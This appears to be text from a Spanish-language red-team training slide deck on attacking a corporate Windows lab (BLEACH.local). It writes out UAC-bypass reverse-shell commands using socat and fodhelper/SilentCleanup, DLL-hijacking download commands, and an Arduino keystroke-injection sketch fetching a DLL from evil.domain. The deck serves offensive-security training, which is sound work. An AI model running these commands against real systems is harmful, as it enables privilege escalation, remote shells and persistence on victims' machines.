
HACKING 
CORP. ENVIRONMENTS

j. moreno aka. jomoza
“PWN LIKE A MDFK ft. RED TEAM VIEW”



Day Four:  Sharping axes

“PWN LIKE A MDFK ft. 
RED TEAM VIEW”



BLEACH.local : PRIVILEGE ESCALATION : 
THM BYPASS UAC



BLEACH.local : PRIVILEGE ESCALATION : 
THM BYPASS UAC

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 
THM BYPASS UAC

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 
https://tryhackme.com/room/bypassinguac 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 
THM BYPASS UAC

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC - azman.msc

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC : msfconfig

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC : msfconfig

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC : msfconfig

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC : msfconfig

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC : msfconfig

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : 

THM BYPASS UAC :: foodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

C:\Users\attacker> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

https://tryhackme.com/room/bypassinguac 

THM BYPASS UAC :: foodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

C:\Users\attacker> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

C:\Users\attacker> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe 
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes"

 

https://tryhackme.com/room/bypassinguac 

THM BYPASS UAC :: foodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

C:\Users\attacker> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

C:\Users\attacker> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe 
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes"

C:\Users\attacker> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.

https://tryhackme.com/room/bypassinguac 

THM BYPASS UAC :: foodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

C:\Users\attacker> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

C:\Users\attacker> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe 
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes"

C:\Users\attacker> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.

C:\Users\attacker> reg add %REG_KEY% /d %CMD% /f
The operation completed successfully.

https://tryhackme.com/room/bypassinguac 

THM BYPASS UAC :: foodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

C:\Users\attacker> set REG_KEY=HKCU\Software\Classes\ms-settings\Shell\Open\command

C:\Users\attacker> set CMD="powershell -windowstyle hidden C:\Tools\socat\socat.exe 
TCP:10.10.170.251:4444 EXEC:cmd.exe,pipes"

C:\Users\attacker> reg add %REG_KEY% /v "DelegateExecute" /d "" /f
The operation completed successfully.

C:\Users\attacker> reg add %REG_KEY% /d %CMD% /f
The operation completed successfully.

C:\Users\attacker> fodhelper.exe   

https://tryhackme.com/room/bypassinguac 

THM BYPASS UAC :: foodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

THM BYPASS UAC :: foodhelper.exe

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

Scheduled Task + Overwrite env. variable

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

→ %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

→ %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

→ %windir% → "cmd.exe /c C:\tools\socat\socat.exe 

TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

→ %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

→ %windir% → "cmd.exe /c C:\tools\socat\socat.exe 

TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

→ cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 
EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d 
%systemdrive%

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PRIVILEGE ESCALATION : 

THM BYPASS UAC

https://www.youtube.com/watch?v=ybDLmuWDY-M https://github.com/Telefonica/uac-a-mola 

→ %windir%\system32\cleanmgr.exe /autoclean /d %systemdrive%

→ %windir% → "cmd.exe /c C:\tools\socat\socat.exe 

TCP:<attacker_ip>:4445 EXEC:cmd.exe,pipes &REM "

→ cmd.exe /c C:\tools\socat\socat.exe TCP:<attacker_ip>:4445 
EXEC:cmd.exe,pipes &REM \system32\cleanmgr.exe /autoclean /d 
%systemdrive%

reg add "HKCU\Environment" /v "windir" /d "cmd.exe /c C:\tools\socat\socat.exe 
TCP:<attacker_ip>:4446 EXEC:cmd.exe,pipes &REM " /f

schtasks /run  /tn \Microsoft\Windows\DiskCleanup\SilentCleanup /I

https://tryhackme.com/room/bypassinguac 

https://www.youtube.com/watch?v=ybDLmuWDY-M
https://github.com/Telefonica/uac-a-mola
https://tryhackme.com/room/bypassinguac


BLEACH.local : PERSISTENCE : DLL HIJACKING

https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html 

https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html


BLEACH.local : PERSISTENCE : DLL HIJACKING

https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html 

https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html


BLEACH.local : PERSISTENCE : DLL HIJACKING

https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html 

https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html


BLEACH.local : PERSISTENCE : DLL HIJACKING



BLEACH.local : PERSISTENCE : DLL HIJACKING



BLEACH.local : PERSISTENCE : DLL HIJACKING



BLEACH.local : PERSISTENCE : DLL HIJACKING



BLEACH.local : PERSISTENCE : DLL HIJACKING

https://github.com/optiv/Freeze (!)
https://www.bleepingcomputer.com/news/securit
y/bypassing-windows-10-uac-with-mock-folders-
and-dll-hijacking/ (!)
https://posts.specterops.io/lateral-movement-sc
m-and-dll-hijacking-primer-d2f61e8ab992 (!)

https://github.com/optiv/Freeze
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://www.bleepingcomputer.com/news/security/bypassing-windows-10-uac-with-mock-folders-and-dll-hijacking/
https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992
https://posts.specterops.io/lateral-movement-scm-and-dll-hijacking-primer-d2f61e8ab992


BLEACH.local : PERSISTENCE : DLL HIJACKING

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv1l.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv2.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'


BLEACH.local : PERSISTENCE : DLL HIJACKING

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv1l.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv2.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md

bitsadmin /transfer Explorers /download /priority FOREGROUND http://10.0.9.7:8084/hv1l.dll C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll   

http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
http://10.0.9.7:8084/hv1l.dll'


BLEACH.local : PERSISTENCE : DLL HIJACKING

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv1l.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv2.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md

bitsadmin /transfer Explorers /download /priority FOREGROUND http://10.0.9.7:8084/hv1l.dll C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll   

http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
http://10.0.9.7:8084/hv1l.dll'


BLEACH.local : PERSISTENCE : DLL HIJACKING

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv1l.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

Invoke-WebRequest -Uri 'http://10.0.9.7:8084/hv2.dll' -OutFile 'C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll'

https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md

bitsadmin /transfer Explorers /download /priority FOREGROUND http://10.0.9.7:8084/hv1l.dll C:\Users\jquerito\AppData\Local\Microsoft\Teams\current\DPAPI.dll   

http://10.0.9.7:8084/hv1l.dll'
http://10.0.9.7:8084/hv1l.dll'
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute.md
http://10.0.9.7:8084/hv1l.dll'


BLEACH.local : PERSISTENCE : DLL HIJACKING

https://github.com/TheD1rkMtr/Shellcode-Hide/ 
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/ 

https://www.pavel.gr/blog/dll-hijacking-using-spartacus 

BOOL WINAPI DllMain (HANDLE hDll, DWORD 
dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {

system("calc.exe");
ExitProcess(0);

}
return TRUE;
}
 

https://github.com/TheD1rkMtr/Shellcode-Hide/
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/
https://www.pavel.gr/blog/dll-hijacking-using-spartacus


BLEACH.local : PERSISTENCE : DLL HIJACKING

https://github.com/TheD1rkMtr/Shellcode-Hide/ 
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/ 

https://www.pavel.gr/blog/dll-hijacking-using-spartacus 

https://github.com/TheD1rkMtr/Shellcode-Hide/
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/
https://www.pavel.gr/blog/dll-hijacking-using-spartacus


BLEACH.local : PERSISTENCE : DLL HIJACKING

https://github.com/TheD1rkMtr/Shellcode-Hide/ 
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/ 

https://github.com/ideaslocas/aDLL 
https://github.com/Accenture/Spartacus 

https://www.pavel.gr/blog/dll-hijacking-using-spartacus 

https://github.com/TheD1rkMtr/Shellcode-Hide/
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/
https://github.com/ideaslocas/aDLL
https://github.com/Accenture/Spartacus
https://www.pavel.gr/blog/dll-hijacking-using-spartacus


BLEACH.local : HAVOC SHELLCODE



BLEACH.local : HAVOC SHELLCODE



BLEACH.local : HAVOC SHELLCODE



BLEACH.local : HAVOC SHELLCODE



BLEACH.local : MALWARE DEV. OUR DLL

https://github.com/GetRektBoy724/SyscallShuffler

https://github.com/GetRektBoy724/SyscallShuffler


BLEACH.local : MALWARE DEV. OUR DLL



COMMON DISCORD DLL HIJACKING
%LOCALAPPDATA%\Discord\app-1.0.9012\vfwwdm32.dll

#include <Keyboard.h>

void setup() {  

  Keyboard.begin();  

  delay(2000);  

  Keyboard.press(KEY_LEFT_GUI);

  delay(100);  

  Keyboard.press('r');

  delay(100);  

  Keyboard.releaseAll();

  delay(500);  

  Keyboard.print("powershell Invoke-WebRequest 

https://evil.domain/dllpath/dscrd.dll.txt -OutFile 

%LOCALAPPDATA%\\Discord\\app-1.0.9012\\vfwwdm32.dll");

  delay(100);  

  Keyboard.press(KEY_RETURN);

  delay(100);

  Keyboard.print("exit");

  delay(100);

  Keyboard.press(KEY_RETURN);

  delay(100);    

  Keyboard.releaseAll();

}

void loop() {  

}



.: LAB. ATTACK :: LEVEL I :: NO DEFENDER :.

PRUEBAS DE CONCEPTO DOCUMENTADAS DE:

→ RECONOCIMIENTO BASICO AL LABORATORIO

nmap, netdiscover, otros…

→ EXTRACCION DE UN HASH DE “Juan Querito”.

mitm6, ntlm_theft, otros…

→ ROMPER EL HASH 

→ AMSI BYPASS

→ TECNICA DE PERSISTENCIA

unquoted path, dll hijacking, bypass uac, otros…

→ ELEVACION DE PRIVILEGIOS

unquoted path, bypass uac, otros…


